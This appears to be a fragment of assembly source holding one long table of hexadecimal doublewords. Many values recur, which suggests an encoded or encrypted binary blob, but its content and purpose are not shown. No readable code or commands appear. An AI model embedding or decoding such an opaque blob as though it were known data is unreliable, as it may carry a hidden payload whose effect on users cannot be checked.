		dd 325C42E4h, 82FED5B1h, 33B9BB0Fh, 44B3A13Eh, 8491284Eh
		dd 0BB595758h, 3256AEA8h, 32564358h, 5CD64B1h, 0B1BEEF1h
		dd 3564225Ah, 0DA7E9AB3h, 0D2A701E4h, 38BF0082h, 6856AEB1h
		dd 5BF94FC3h, 0F30F3CC6h, 5298FE3Ah, 32526ABEh,	8B3075B1h
		dd 53AED54Fh, 0BA598446h, 3256AEBFh, 32565E58h,	38FFDAB1h
		dd 0C8A347FCh, 0C708C1D4h, 33AE0832h, 32213FBEh, 22BF5DB1h
		dd 1656AEB1h, 9F941154h, 5495940Eh, 96DB612Dh, 82AB3207h
		dd 8D5915F8h, 30D2B549h, 64565DB1h, 3DFCCFEEh, 32565639h
		dd 8A305EB1h, 54AE50BEh, 3259031Ah, 0A3A775B1h,	2B993790h
		dd 0C79463C1h, 0C4F1AA1Bh, 74E058C1h, 325E42B0h, 0BE4FD5B1h
		dd 4910C6AAh, 0DBFD8312h, 3256BABFh, 0BC67C670h, 2BE48AC3h
		dd 1B7D0Ch, 0ABBFB2EBh,	5256D5B1h, 0C8DD8C49h, 0CA2BF6D0h
		dd 0B4D3B5B3h, 3D565DB1h, 3256A039h, 325FBEB1h,	0C53DABB1h
		dd 0B29719F7h, 54C943FDh, 3D9F7E09h, 3256BB31h,	54AEA8B1h
		dd 3BBECE1Ah, 0AF5657B1h, 3633869Bh, 0E2C6EB9h,	3256E658h
		dd 130D1DB1h, 50527D06h, 0D799D469h, 2AE8F12Eh,	53516478h
		dd 325727BEh, 54AAD5B1h, 0CAD2E509h, 3DAEDED7h,	0DB57FC07h
		dd 32565DB6h, 0DA7C388Bh, 99C8B6F6h, 324C424Dh,	0B336D5B1h
		dd 72839776h, 3ABF25DAh, 3B56BAB1h, 0B37674A7h,	68822355h
		dd 0CEF2A4D0h, 0CEAE6C3Ah, 3AD2DAEAh, 3D56EAB1h, 32567738h
		dd 6B37DAB1h, 6DAA0349h, 3256BE58h, 0AC3D2AB1h,	0AC6681FFh
		dd 517D62D4h, 3424BA38h, 0DBAEBC7Bh, 3256BAB6h,	0D66132BFh
		dd 0F065BB5Ah, 0CA3657B9h, 3256AC59h, 0E54B87B1h, 955D2D75h
		dd 0ADB7F4D7h, 6737E449h, 325AD3BEh, 0B659AEB1h, 325657B7h
		dd 325620BEh, 0DEDDD5B1h, 0DB368A4Dh, 325675A3h, 319C2316h
		dd 26E43C44h, 0A08BC84h, 0E60EC726h, 0DA376F3Dh, 3256D5B1h
		dd 0BC6BEBh, 0CB5C9C59h, 3256AA58h, 34620DB1h, 0EA64A525h
		dd 48569F88h, 7747E4A2h, 3A135E12h, 325003D1h, 0A59675B1h
		dd 449C9059h, 32565758h, 0BCA1EDB1h, 58B08CA9h,	53ADE14Eh
		dd 84F15738h, 5236E058h, 0BB592DE2h, 3256BAB1h,	0A8E00DD0h
		dd 5237CFEEh, 32565158h, 8FA3CCB1h, 54BB1C5Fh, 3D37303Ah
		dd 32566D36h, 8D59DAB1h, 325BB57Eh, 6C63AEB1h, 0D4BDE8C8h
		dd 701898Bh, 6DBB7E42h,	52AA23D0h, 0DDD71548h, 5A7D53F5h
		dd 3256DDBEh, 5337AEB1h, 0C7565373h, 0B330CBE4h, 8CBB1C47h
		dd 21EAE1A3h, 0DBBAFED0h, 3256BAB6h, 0BFF24F1Ah, 0DBBB10A5h
		dd 325657BCh, 0D5539E28h, 0DBA737C7h, 0EEBC3612h, 0CA92F612h
		dd 34DDB5D1h, 0B3565DB1h, 0E1E3587Bh, 6683D7E1h, 0B559CBD0h
		dd 3256D5B6h, 325768BEh, 0DAAE75B1h, 3256BAB1h,	2CBCDCEBh
		dd 525C4758h, 325DBE44h, 9693ABB1h, 1567875Fh, 6BA7589Dh
		dd 0B45914FAh, 3256BAA4h, 32564D58h, 906262B1h,	5A5F6A21h
		dd 6486AFDCh, 0CD58E7E8h, 0CA132DBFh, 325675B1h, 3256B758h
		dd 0F55817B1h, 0C8D9A954h, 6A206AE6h, 7791CE3Bh, 3256D54Dh
		dd 325E03B1h, 57D775B1h, 43B64511h, 0F265679Ch,	325424BEh
		dd 533657B1h, 3D4820D7h, 3256C33Fh, 324703B1h, 0C67275B1h
		dd 2AEFB39Dh, 6CA62AADh, 0A6873DBFh, 0F5E8F08Dh, 0DBEE9833h
		dd 3256D4BBh, 0B33013B1h, 3DC6E54Ah, 3256BC34h,	8A303DB1h
		dd 0B237C880h, 0B659BF4Ah, 3256AEA2h, 32515CBEh, 0B659EAB1h
		dd 325675B0h, 0BD59FA49h, 32565DA4h, 3256BE58h,	51BC9AB1h
		dd 0D7B5324Fh, 0D522B3DAh, 463C47BEh, 0DBADF53Ah, 36B73EBEh
		dd 72A35DB1h, 325B2ABEh, 543657B1h, 0D4366B30h,	0FA2E3230h
		dd 0B237B1A0h, 0B6599E4Ah, 3256BE72h, 32565458h, 0BCA920B1h
		dd 43543E21h, 543622EEh, 0B330043Ah, 531DC17Fh,	0B2AE89F1h
		dd 3D364A56h, 35BE8A06h, 556AEB1h, 0C633CAA0h, 0CADDFBBEh
		dd 0DB36B4EBh, 3256EABEh, 0CEBC897Eh, 0E6D9B46h, 6DE726ADh
		dd 88904278h, 63B4346Eh, 0C9D7CDD0h, 0B65955BEh, 3256EEDAh
		dd 6FD47648h, 525C5998h, 8C8ED6D7h, 31F67505h, 3250BED0h
		dd 0F464ABB1h, 3DF9771h, 324403F1h, 390E75B1h, 0C3DD48E7h
		dd 43D297E1h, 0C99F9AB8h, 0A15D9423h, 3DB45031h, 3252C035h
		dd 3AD1E5B1h, 3D5675B1h, 3256B83Fh, 0B2373DB1h,	0B6594D4Ah
		dd 32565452h, 0ECD7CDD1h, 0B33098E6h, 53FE9550h, 55ADF4D7h
		dd 0D5D2B552h, 3D565DB2h, 3256BB3Ah, 39BE37B1h,	0DA56ABB1h
		dd 22BA06B2h, 2B2620E5h, 0B90C42D2h, 0D1D6DB79h, 0C9D6A541h
		dd 0EAD2A1C1h, 0DB5657B2h, 3256ABA1h, 0B052B2BBh, 463462BDh
		dd 9A7B8AB2h, 571D3439h, 3D48D6D7h, 3256AF3Fh, 0D1D6AFB1h
		dd 32504249h, 0D1B6D5B1h, 0D4724C93h, 3DEE8E31h, 32573635h
		dd 3AD052B1h, 3D56AEB1h, 3256553Bh, 0B237CBB1h,	0B659D08Fh
		dd 3256EBC4h, 325AF6BEh, 0BB59BAB1h, 32565DB7h,	325626BEh
		dd 0B95957B1h, 3256ABBFh, 32DADAD1h, 0B356EAB1h, 9D72877Ah
		dd 0CD6DBC6h, 74D2529Ch, 5256AEB0h, 3244BF48h, 75F6ABB1h
		dd 47C58h, 67F6B1C8h, 3C2FAA32h, 0F8A5A445h, 530FAE3Ah
		dd 5A682E44h, 3349D3BEh, 0B359ABB1h, 3256D5A0h,	3256E658h
		dd 0E5215CB1h, 2CF96DCFh, 0F7DADE25h, 325D4793h, 0C7F857B1h
		dd 0C08AA09Fh, 0E9D9BB58h, 6336AA6Eh, 89088A05h, 41555B02h
		dd 23DB52D0h, 5256AEB1h, 32565059h, 41A856B1h, 0CA6B6C65h
		dd 53378AEFh, 8A65F74Eh, 54AEB058h, 0B2AE433Ah,	0DA365656h
		dd 325657B9h, 7DA71BD0h, 93CA1C9Eh, 6B9161D7h, 3256F1BEh
		dd 5437BAB1h, 0DAD7A630h, 32F52ABEh, 0BE5957B1h, 3256ABB0h
		dd 2CDDB348h, 0C2B16A44h, 88308DD1h, 543774E7h,	0F2D7A630h
		dd 32D52ABEh, 23BF57B1h, 6456ABB1h, 576D8DCCh, 70B916F3h
		dd 0A77B2F9Fh, 67DAC927h, 0EBDD3DD1h, 3256A958h, 651B16B1h
		dd 0A2A0AC17h, 0CDAF80D0h, 0DBE02D23h, 0B93015BBh, 80843B76h
		dd 532EC60Fh, 0FFEDCEECh, 0C7426E88h, 0CE1322D0h, 548F5ED1h
		dd 0CA37243Ah, 32459CD0h, 761CBAB1h, 18BC67EFh,	9036CD05h
		dd 44A688B5h, 2794B504h, 0CE2B5635h, 4ED3E5B0h,	0DB5675B7h
		dd 3256BABCh, 92B7ACDBh
		dd 7089682Ah, 0DB676B8Fh, 97EC2052h, 0CB5C36B1h, 8D598AE1h
		dd 34DA7A67h, 3D56BAB1h, 32565D35h, 0B0DDCFB1h,	38BFEF82h
		dd 32432CBEh, 22BFD5B1h, 0C156EAB1h, 2C5B54A0h,	495CBDDBh
		dd 0AAA509E6h, 0BC3B6C9h, 0DA36678Dh, 3256ABA0h, 0EC20AE3Ah
		dd 76C116BBh, 672DB564h, 0BD16711Dh, 0FAE152ACh, 0F2E9A1E9h
		dd 0B0590FD0h, 3256ADB6h, 32415BBEh, 20BFEAB1h,	855675B1h
		dd 0B75B6472h, 0FE3C4801h, 0B3D7814h, 17726C58h, 7EC20BDh
		dd 525C3681h, 8D232230h, 20BF3E40h, 5A56BAB1h, 0FB7C8CE0h
		dd 1095B570h, 0BED656F7h, 2BAD6561h, 0DB06B4A5h, 3256EABCh
		dd 0A25CEF14h, 1B21A124h, 0B98FE206h, 1D42527h,	525CBE09h
		dd 325A42D1h, 0C8E4D5B1h, 0BA15E22Dh, 6CE67DF2h, 38BE50FFh
		dd 0CB565DB1h, 84574A34h, 0CC35202h, 6237F29Ch,	325657BEh
		dd 530FEAB1h, 52664988h, 73873BD7h, 53AF3D67h, 0BD59F6D0h
		dd 325652DAh, 3256B858h, 0D2E161B1h, 228ADB08h,	14DE45D5h
		dd 0F564320Dh, 6045E68h, 84D0143Ah, 0BF595D58h,	3256ABBDh
		dd 32505CBEh, 0B459EAB1h, 325675B1h, 84D03832h,	0DB425758h
		dd 3256AEA0h, 0B3D8114h, 17729058h, 88CCE0BDh, 7F24CBEDh
		dd 5261FC3Bh, 325432BEh, 53365DB1h, 325025BEh, 0BE5957B1h
		dd 3256ABB1h, 22115CD0h, 325D61BEh, 3D3675B1h, 3256BA3Bh
		dd 0DA86DDB1h, 6237CED0h, 32565258h, 527E3CB1h,	0B0DD9080h
		dd 38BF5282h, 24AFE49h,	32443CBEh, 0DB365DB1h, 3256AEBAh
		dd 0F2466A6h, 0EF308992h, 5340197Ch, 0B65913E9h, 325675B0h
		dd 3A093348h, 325ADFBEh, 5436AEB1h, 3DD3760Bh, 3256AB36h
		dd 92BFB4B1h, 3D56EAB5h, 3256673Bh, 325B53B1h, 0B815DB1h
		dd 4311D68Ch, 0B4B7C85Bh, 0F5AEA29Ch, 32542DF4h, 0DBA3EAB1h
		dd 32567596h, 325E30BEh, 0B3365DB1h, 0F5C1496Ah, 77913697h
		dd 3256AA49h, 3EDBDAB1h, 3D56EAB1h, 32567334h, 32DCB5B1h
		dd 0B9565DB1h, 0DBE0280Bh, 35D058BBh, 5256ABB1h, 8AD7D80Ah
		dd 0B0D58BB2h, 38BFC337h, 5DF42A5h, 2211D449h, 31AE2D44h
		dd 3263D2BEh, 5436ABB1h, 68461C30h, 1D42DD0h, 305C9C09h
		dd 5256BAB1h, 3988BA30h, 0ECD7AB09h, 71722ACDh,	38D5A4D0h
		dd 5256D5B1h, 8A8655BEh, 5E13618Ch, 324753D0h, 0B1AF5DB1h
		dd 0BF59AC49h, 32565597h, 325727BEh, 0B1AFD5B1h, 3D5612CCh
		dd 3256B635h, 325853B1h, 863A5DB1h, 7787DCECh, 90FC94D2h
		dd 674CDCC7h, 331063BEh, 3256E658h, 970E92B1h, 6C5F315Bh
		dd 0B4926554h, 32D6075Bh, 0B75957B1h, 3256ABF1h, 0B3599548h
		dd 3256EABEh, 32567F58h, 0A56F9BB1h, 0A90BE22Ah, 0B1CAF85Ch
		dd 0B7595259h, 3256ABB0h, 321A3C48h, 3CBFEAB1h,	0A5675B1h
		dd 0B0D92569h, 157A3744h, 0DAE102D0h, 0CCDD37FBh, 538914BEh
		dd 32562A9Ch, 0B3308AB1h, 54B32C56h, 535EE80Eh,	3D53B532h
		dd 3256B73Ah, 3242BEB1h, 4B2EABB1h, 0E39D7E70h,	6B68C32Dh
		dd 0DFD5B67Bh, 59CAB1DFh, 51BFA9CEh, 0DB56AEB1h, 325657A5h
		dd 1D721E65h, 0CAE945A5h, 0CB035CBAh, 19636A44h, 0FACFAF58h
		dd 30D652E2h, 5256AEB1h, 1CCDCD0h, 0CB5C4209h, 324653BEh
		dd 39BFEAB1h, 3A5675B1h, 18A145BCh, 48B9998Eh, 36DD1249h
		dd 34D45882h, 5256ABB1h, 6D048EE2h, 325303D0h, 0A5C975B1h
		dd 69A09900h, 5279EAD1h, 0C80310D7h, 32FF36D0h,	3DD6ABB1h
		dd 32564234h, 20DEE5B1h, 0DB5675B1h, 3256BABCh,	0C06B66E1h
		dd 2394AC11h, 0AF41E553h, 0DB90A8AAh, 3256D5A0h, 690DA0EEh
		dd 0C34AE7DBh, 2DDCD0B2h, 0B06359C1h, 37962DA2h, 325EDEBEh
		dd 3D36ABB1h, 3256D532h, 0B0558BB1h, 38BFCD82h,	3256B258h
		dd 5159C0B1h, 8D0A96BCh, 54361F65h, 53664430h, 3A115CD0h
		dd 324665BEh, 39BF75B1h, 9256BAB1h, 4096567h, 88019F53h
		dd 75DFA846h, 76BF5EBDh, 0DB56D5B3h, 3256EAA2h,	0B970272h
		dd 417DDDC6h, 5D31E6C2h, 0E166BB27h, 0C7D254BAh, 3FBF7346h
		dd 4756D5B1h, 270853D6h, 0BCA37B99h, 7AC7DCDFh,	0C5AE9B9Ah
		dd 0BDE4CE69h, 2182240Fh, 5436CAC1h, 0CE2E5609h, 379669D0h
		dd 0C9E17AD1h, 31376B3Ah, 0DBEE6E33h, 3D36CEBBh, 0B930AD0Eh
		dd 7A37CA6Fh, 53945ED1h, 0DB5EAD38h, 325675B7h,	38A16510h
		dd 75DF8B7Ah, 0FEBF52BDh, 3D5657B0h, 3256AA34h,	0F2652CB1h
		dd 3BDCE544h, 525675B1h, 88ECDBD1h, 531E2893h, 0CE57E83Bh
		dd 0B759D719h, 3256AABAh, 3256C458h, 8F0338B1h,	0B14ED33Fh
		dd 0EAE71041h, 0D1FE235Fh, 0F455975Bh, 4CB7D7D1h, 3256BF58h
		dd 444A1CB1h, 23C5A488h, 0FD8B7F0h, 319C2316h, 26E43C44h
		dd 0F2D5CF84h, 325EBEB3h, 0E31BABB1h, 9F8A49BFh, 33EDFD58h
		dd 0DB5675B1h, 3256BABDh, 0D7D442BDh, 0CF0A38A5h, 54D4F199h
		dd 0B65970BAh, 3256D5E0h, 38DFE5D1h, 0DB5675B1h, 3256BAB4h
		dd 0D1462C7Ch, 0EAD7CEA3h, 283E74F7h, 0B259CAD0h, 3256D5BDh
		dd 325068BEh, 0BC5975B1h, 3256BAB1h, 0CF1FC73Bh, 0B659A459h
		dd 325657BEh, 3256A158h, 7E423EB1h, 496E582Ch, 0B221AB1Ch
		dd 0B259BB52h, 32565DB0h, 0DB95AD4Dh, 325657A3h, 56AD6094h
		dd 1A47BCCh, 27AABA02h,	1ADB052Fh, 75DFB227h, 3FD552B9h
		dd 0DB56AEB1h, 325657B9h, 0D8205437h, 1B2059CFh, 0DB5AAD38h
		dd 325675BDh, 7226A1F1h, 35B20ECBh, 0EAA11365h,	3256FD58h
		dd 325F42B1h, 4EB6D5B1h, 1911186Bh, 0C5AF5BA2h,	0B259DA69h
		dd 32565DA1h, 3256A459h, 8B2422B1h, 0F6AB0B82h,	6BFA9784h
		dd 325567BEh, 0EBD675B1h, 0CD73DB14h, 52565DB1h, 32D1A1E0h
		dd 685657B1h, 8CF112D7h, 0CA90FED0h, 324502D1h,	4F6175B1h
		dd 0E17F9BEh, 39B92673h, 0AAF9AFBEh, 451BB6C5h,	0C537F12Ah
		dd 325D3C69h, 341BEAB1h, 6CDD7462h, 0A4C87946h,	3096DEC7h
		dd 325847D1h, 6A6B57B1h, 206E184Ah, 6936E732h, 2C664008h
		dd 3A11FCD0h, 3256A858h, 5E55AEB1h, 74EB73E7h, 6DDE08DBh
		dd 6EA00077h, 0BB6F6E6Ch, 0CAAFE6F6h, 0FBAA144Dh, 3256B758h
		dd 0E80D36B1h, 28AC4636h, 5858B0Bh, 0DB956159h,	3256D5B8h
		dd 0DFA219C1h, 9E7D1778h, 0BF59EF70h, 32565DA8h, 32452BBEh
		dd 3CBF57B1h, 3A56ABB1h, 0BF889647h, 0BA17FD07h, 0E43B07B0h
		dd 0DBBA3152h, 32565DB9h, 45AFC984h, 6F72E416h,	0DBAA6F32h
		dd 3256D5B7h, 0D8FCD1B6h, 5236790Bh, 7DB60309h,	9491DC91h
		dd 53275E1Dh, 32565759h, 0D8D7F1B1h, 38BF261Ah,	3256F958h
		dd 0CC2C18B1h, 0C1155BE3h, 88F828E8h, 0B06A2FB9h, 17DE12A5h
		dd 3256AC58h, 87C815B1h, 1ECCA507h, 53ECFE4Dh, 0DB5C5307h
		dd 32565DA5h, 5D58381h,	27AD2DA9h, 0BFF85B2h, 0B7B9C07Eh
		dd 0C4486B6Bh, 3D36BC82h, 3256BC3Dh, 0D29DDCB1h, 3D46A3A0h
		dd 0B137AE0Eh, 0B659AB8Eh, 3256D133h, 3256EF58h, 767359B1h
		dd 35DD4AD2h, 88E93BD1h, 0CD3756FFh, 3CBF5BC4h,	0ED56ABB1h
		dd 5EFC78FEh, 88FA447Eh, 0B21EE74Fh, 3A23457Ch,	8885D6D1h
		dd 5237BD14h, 0B35907D0h, 3256ABBBh, 3256D058h,	6B4830B1h
		dd 40BE0DDBh, 5256BAB9h, 0F25D3C4Dh, 327D2BBEh,	883657B1h
		dd 5EDEE737h, 0F7EC8008h, 35DD8B87h, 32566758h,	0A30EDB1h
		dd 0B4AB477Eh, 0FC581D80h, 516F4238h, 0DBD16FA6h, 3256D59Dh
		dd 2691694Dh, 3245F9BEh, 0B459BAB1h, 32565DBCh,	3256A658h
		dd 6F80D8B1h, 9640515Dh, 66BF2D70h, 52A9154Eh, 53E68330h
		dd 53AEC0ACh, 3DAA1838h
		dd 3256AF3Ah, 47A9A2B1h, 23DBA4BDh, 0DB56D5B1h,	3256EABDh
		dd 0C8409D22h, 338C989h, 92515D5Ah, 3D5EDB4Eh, 3256563Bh
		dd 5A95EB1h, 32473CD1h,	7F33EAB1h, 0BF013F02h, 0A2375904h
		dd 4E734913h, 534EC118h, 32519359h, 0F25D52B1h,	324A51BEh
		dd 3DA3EAB1h, 32567C34h, 5336DAB1h, 70F5600Eh, 59BFCFA7h
		dd 525657B2h, 8D59C705h, 77DDB470h, 0F0DD8A4Dh,	3D514CD0h
		dd 3255EF33h, 0B9303DB1h, 32584746h, 0CF0557B1h, 0BB346CF4h
		dd 0FF4CAAA0h, 0C4A8DC62h, 33D97AD0h, 0CA56BAB1h, 3DAA184Eh
		dd 3256BE3Ch, 3BBF37B1h, 0E256ABB1h, 0C0B706D7h, 9780F8Dh
		dd 4DD589D0h, 0B659BAB5h, 32565D8Ah, 53B824D1h,	325A2832h
		dd 327B2FBEh, 3CBFD5B1h, 9D56EAB1h, 8B666EB1h, 17D9E250h
		dd 39D04AB4h, 321B4745h, 0B25957B1h, 3256ABBEh,	3256DF58h
		dd 1860FDB1h, 30AED539h, 8AB5511Bh, 0CDA9A24Eh,	0DF942ED1h
		dd 37EF364Dh, 0DB56ABB1h, 3256D5B8h, 90A51C49h,	4DB49914h
		dd 0DBFD4954h, 32565DBCh, 0D9F5F0AEh, 0C104472Bh, 2F7884EFh
		dd 0CC823C6Ah, 0B1AA154Eh, 3D5365CEh, 32560A35h, 35ED3DB1h
		dd 0DA1E49A4h, 325657BAh, 56661B0Bh, 4CE852E1h,	0B3E4AA49h
		dd 445E5458h, 0B137E3B0h, 3D504DCEh, 32567B34h,	325BBEB1h
		dd 0F868ABB1h, 0E4EA81B3h, 59AD9ACDh, 73B7439Dh, 52E109D1h
		dd 32565858h, 47F44DB1h, 0B659EB08h, 3256ABB1h,	75DDB4D0h
		dd 325003B5h, 1F7775B1h, 0C88C4EDBh, 3D5A023Ah,	3256BF30h
		dd 39DE58B1h, 0DB56ABB1h, 3256D5B7h, 0C24682E7h, 0E9BFCE60h
		dd 5256BAB0h, 32564C58h, 27A798B1h, 0A425B780h,	4208880h
		dd 9BBCE6CAh, 37BF96ACh, 0DF5675B1h, 59EDCDDCh,	0FEE23DD0h
		dd 3256A958h, 3194A3B1h, 7C318F9Ch, 36115ED0h, 324F6DBEh
		dd 0DB3675B1h, 3256BAA3h, 0D7F12AAh, 2864A33Ch,	820B0533h
		dd 5AF0C6Ch, 3D370A8Fh,	3256FF33h, 32469CB1h, 0CE04BAB1h
		dd 0F5E4EFAEh, 91347FE8h, 0E50D913Eh, 6DDD2DF3h, 33D6DABDh
		dd 0CB56EAB1h, 32573258h, 75DD46B1h, 84AA3DB5h,	6DDDCF52h
		dd 6D6DABBDh, 0BAD3A4B9h, 3D56D5B1h, 3256ED36h,	0B33015B1h
		dd 532DFC57h, 65DDA1E3h, 33D5A1B5h, 0C75657B1h,	5246FE9Ah
		dd 92776BD7h, 539E55BEh, 0DB4220B2h, 3256BABEh,	79351024h
		dd 0ED8ED669h, 0DDBC76D5h, 0C76CBE71h, 525A8A3Ah, 548861D7h
		dd 1937BE3Ah, 0D9D54F6Bh, 33DD52B4h, 0CE56AEB1h, 38D558EBh
		dd 0DB56ABB1h, 3256D5B4h, 4E67A4Eh, 32539C7Ch, 48F0BAB1h
		dd 0DB748EC8h, 3256AE22h, 8D593744h, 325E427Ah,	0D9ECD5B1h
		dd 0E51104A2h, 0B9374D3Fh, 0B9AEBEF6h, 3D3651EEh, 3256AA37h
		dd 40EC31B1h, 0B6ECCDB9h, 6D7DB417h, 324203B5h,	515C75B1h
		dd 85D5176Fh, 0CED96458h, 2F91989Bh, 6BD320Bh, 3EBF2802h
		dd 7F56D5B1h, 1A7798BCh, 39A4A36Bh, 0B1BCE991h,	0BA59585Ah
		dd 3256AEA9h, 32564458h, 2017EAB1h, 58DA43h, 8AEE1DACh
		dd 8C30F0A2h, 8AE37A7Eh, 347BD7B2h, 22BFA452h, 6E5657B1h
		dd 2EA68ED1h, 41B7B75Eh, 0F76EA6F0h, 0B1D86EB7h, 3D55AACEh
		dd 32564234h, 325147B1h, 6E3F57B1h, 0B9D6BD8Fh,	0DBA3945Eh
		dd 3256EABDh, 85BECFBFh, 32688405h, 0D3E50F61h,	3DBF779Ah
		dd 495657B1h, 443A8836h, 2B7D9078h, 553A6815h, 6EDF49F7h
		dd 0B859BBB0h, 32565DB0h, 0CDA91648h, 0B759A84Eh, 3256ABB6h
		dd 32575DBEh, 8BAEEAB1h, 325675B4h, 325335BEh, 0CE365DB1h
		dd 0C137F0E1h, 33D6581Ah, 0CE56ABB1h, 0CDAAE058h, 3D37164Eh
		dd 32566139h, 325953B1h, 4D6D5DB1h, 493C74B5h, 0C2438146h
		dd 0C009BF1Dh, 0F0A31CABh, 6236EAA1h, 530FBE3Ah, 33D3B5E4h
		dd 0C7565DB1h, 0B359423Ah, 325657A8h, 3256BF58h, 0D9E8BFB1h
		dd 5D9FFA86h, 98137B89h, 33B06A85h, 2F8C7491h, 0CE922D5Eh
		dd 20BF3749h, 7E56ABB1h, 0DDFF29D5h, 606569F8h,	72C0A575h
		dd 4633A11h, 8A303D09h,	0F1D6165Ch, 32BE36ABh, 6856ABB1h
		dd 0CB5B3F30h, 8D36E058h, 0F5F14E4h, 532A7631h,	32565058h
		dd 0E45A9EB1h, 0D1F8EBBDh, 0CC6E1461h, 88DD3631h, 38BF5CD0h
		dd 0CE9F464Dh, 3D568532h, 32551035h, 325B47B1h,	563B57B1h
		dd 4CC4C70Eh, 29C203D5h, 0B95A7DE5h, 33D57AB6h,	0C756BAB1h
		dd 525A284Eh, 54CD4931h, 53C0AD0Bh, 525EDE4Eh, 0A2596BD7h
		dd 0CE068B44h, 32552159h, 2AD1B5B1h, 0DB565DB1h, 3256AEA2h
		dd 248CBFD6h, 5EB2B1F5h, 8D2542F0h, 77800D14h, 3D599D93h
		dd 3256BB34h, 0F25DA5B1h, 32402BBEh, 0B75957B1h, 3256ABB0h
		dd 0CE515E44h, 3256D458h, 33DB7AB1h, 0C756BAB1h, 0DB429A32h
		dd 3256AEA2h, 0E5B960D1h, 9A2A4557h, 503B5390h,	0CF25B756h
		dd 0DB44FE94h, 0CDA945EDh, 32564F58h, 0AEB314B1h, 3886BF4Ch
		dd 0AA80BEFh, 0A6DA5106h, 0BB8520F8h, 26BF89F4h, 8356BAB1h
		dd 0D5569CAh, 960FBE56h, 0D95A0473h, 63B11DACh,	0CD191607h
		dd 0CE36E6C4h, 6E85CBD7h, 3A2345D0h, 3259B4D1h,	2ACAAEB1h
		dd 0A909A418h, 0F5AD1756h, 105F0239h, 88308A75h, 0CCED4ACEh
		dd 535DD55Dh, 5261A2D0h, 0B2593907h, 325657A1h,	3256A058h
		dd 140118B1h, 2AC38DE0h, 915F93F9h, 303952D0h, 39AA5DB1h
		dd 28D2A171h, 525657B1h, 0B936CA48h, 0C0845567h, 304E03D0h
		dd 34BF75B1h, 9E56BAB1h, 0CC1CB506h, 0CE132513h, 3251D6BEh
		dd 0B859ABB1h, 3256D5B0h, 3D51D34Dh, 32578033h,	3D3646B1h
		dd 53AE8C06h, 52AAEB4Eh, 325CBFE0h, 0E403ABB1h,	4E2E392Ah
		dd 36BECB03h, 53AA2CEBh, 3252C532h, 3249D9BEh, 0B1AAAEB1h
		dd 3D565BCEh, 3256BF35h, 325F3CB1h, 9D2CEAB1h, 5A2E7D4Ah
		dd 0DBA2AF03h, 32565DE3h, 0CDA91648h, 38BFA84Eh, 0FC56ABB1h
		dd 6957D687h, 0C11655D9h, 3253CCF5h, 0DB36BAB1h, 32565DBEh
		dd 6D55BAF1h, 6F4D5C9Ah, 67C446AEh, 0DA7EF24Ch,	3256EAB4h
		dd 694316E6h, 530842EDh, 0DBAEF642h, 0CDA9505Ah, 325ED5BEh
		dd 0B159ABB1h, 3256D5B3h, 4DD58BD1h, 0B65970A1h, 3256BAE7h
		dd 32564D58h, 0AFDCCEB1h, 0A44ABE61h, 43601785h, 58D2409Ah
		dd 22296954h, 43D37AB7h, 5256BAB1h, 538FD649h, 75DD52F0h
		dd 0B2A337B5h, 0B937195Bh, 8C36D9EEh, 3E7D37E3h, 32567F58h
		dd 81C431B1h, 0F5F73410h, 53AA75EFh, 3256F758h,	31DBA4B1h
		dd 5256D5B1h, 75DD8B44h, 3FBF15B5h, 7356BAB1h, 2DFBFFDAh
		dd 0A268608Ch, 6675608h, 3E0920D0h, 3256D258h, 1585A6B1h
		dd 0D345E11Fh, 3256E658h, 325CB4B1h, 0AAAAAEB1h, 943DF28Ah
		dd 42A3BBE2h, 0CB52923Ah, 0CE5AB53Ah, 52522A9Ah, 0B300653Ah
		dd 356B2562h, 0DB37F5E7h, 325657B8h, 79149137h,	0FEAF6F08h
		dd 37BD69D3h, 325AFFBEh, 0B559BAB1h, 32565DB7h,	325629BEh
		dd 4DD557B1h, 0B759A8A1h, 3256D5B8h, 0B159AB49h, 325675B0h
		dd 3D8F9149h, 32565534h, 30DAA1B1h, 525657B1h, 330A22D0h
		dd 8A37B5B0h, 0CDA9154Eh, 32567C58h, 426533B1h,	0B03593F9h
		dd 0B3595830h, 325657ABh, 324742D1h, 5327D5B1h,	0F36CA567h
		dd 8D2D87D7h, 4A36234Ch, 524EBDA1h, 37EFCFD0h, 0DB5657B1h
		dd 3256ABBBh, 63A902FFh, 5106EA0Fh, 99A5762Dh, 37BEEDD1h
		dd 0C1565DB1h, 0B78A5AA5h, 0CB3709EBh, 0CDAB2958h, 5237294Eh
		dd 1AB66A4Dh, 0B659BCD0h, 3256BAA8h, 32564958h,	80F794B1h
		dd 176EFBE5h, 23CE2969h, 4568CAE9h, 41CF4463h, 325EB748h
		dd 31DEB5D1h, 54565DB1h
		dd 37BF773Ah, 635657B1h, 0CF758D38h, 38BF80D0h,	4656EAB1h
		dd 0F5F9830Dh, 0CB22AA7Dh, 52BAD687h, 0DA659E0Fh, 543636C4h
		dd 8559513Ah, 0F6D5B449h, 0B9308A4Dh, 32429C76h, 4FA8BAB1h
		dd 4EACCFC1h, 0D5203C85h, 8718820h, 0F6797FD8h,	5237656Eh
		dd 325802D1h, 5C2675B1h, 0A4EFD541h, 23DCA15Eh,	5F05D74Bh
		dd 4BB5EDD7h, 77DDCAEBh, 26D0DAB9h, 3D56EAB1h, 32567B3Eh
		dd 325F53B1h, 0A64C5DB1h, 0D7C4B3DEh, 9D40895h,	0B059A7F4h
		dd 3256D58Bh, 0BD59B8D1h, 325675B1h, 3BB83BEAh,	5304DDEBh
		dd 3D46EB8Ah, 32567636h, 0F5AF52B1h, 325629F4h,	0DBAEEAB1h
		dd 325675FBh, 3256B758h, 9A6E64B1h, 5A279B5Ch, 6A9BC6D4h
		dd 7791525Ah, 3256D44Dh, 2ADAE5B1h, 0DB5675B1h,	3256BAA2h
		dd 1B2DA900h, 47F2D422h, 0ABED2ABAh, 0DCA6CCB7h, 0DB02DF97h
		dd 3256EABFh, 325EFCBEh, 0B459BAB1h, 32565DB3h,	0DB37CFD1h
		dd 325657A1h, 52D8A4C3h, 0D10E4096h, 82C02AEBh,	8306AB2Dh
		dd 3DAAFF3Ah, 32565A3Dh, 0FAD6CEB1h, 53A7DD08h,	325F4278h
		dd 0A5C5D5B1h, 0A9E903F4h, 0DBC620B6h, 3256BAB7h, 0FA77CFF0h
		dd 3E94ABA9h, 3250BEB1h, 60EBABB1h, 6F062F4Fh, 325803E4h
		dd 2AB075B1h, 0CEBE7372h, 0EA60C87Ch, 0EC1314CCh, 0B1AABB3Ah
		dd 0B9595775h, 3256D5BDh, 32506FBEh, 0BC5975B1h, 3256BAB1h
